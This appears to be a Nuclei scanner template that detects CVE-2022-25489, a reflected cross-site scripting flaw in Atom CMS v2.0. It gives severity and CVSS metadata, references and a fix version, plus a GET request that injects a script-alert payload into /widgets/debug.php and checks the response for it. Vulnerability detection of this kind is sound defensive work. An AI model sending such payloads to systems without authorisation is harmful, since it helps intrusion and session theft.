id: CVE-2022-25489

info:
  name: Atom CMS v2.0 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Atom CMS v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the "A" parameter in /widgets/debug.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/258
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25489
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-25489
    cwe-id: CWE-79
    epss-score: 0.05393
    epss-percentile: 0.9023
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thedigitalcraft
    product: atomcms
  tags: cve,cve2022,xss,atom,cms,thedigitalcraft,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/widgets/debug.php?a=<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Path Array"
          - "console-debug"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d75ee0a6260d72615675ca529f399f873599d2442515052eba4c27a7c45552ca02210085a176fb78d2529125faec3a5ce71009f62ca37503b4fcb43eb35855234a20a7:922c64590222798bb761d5b6d8e72950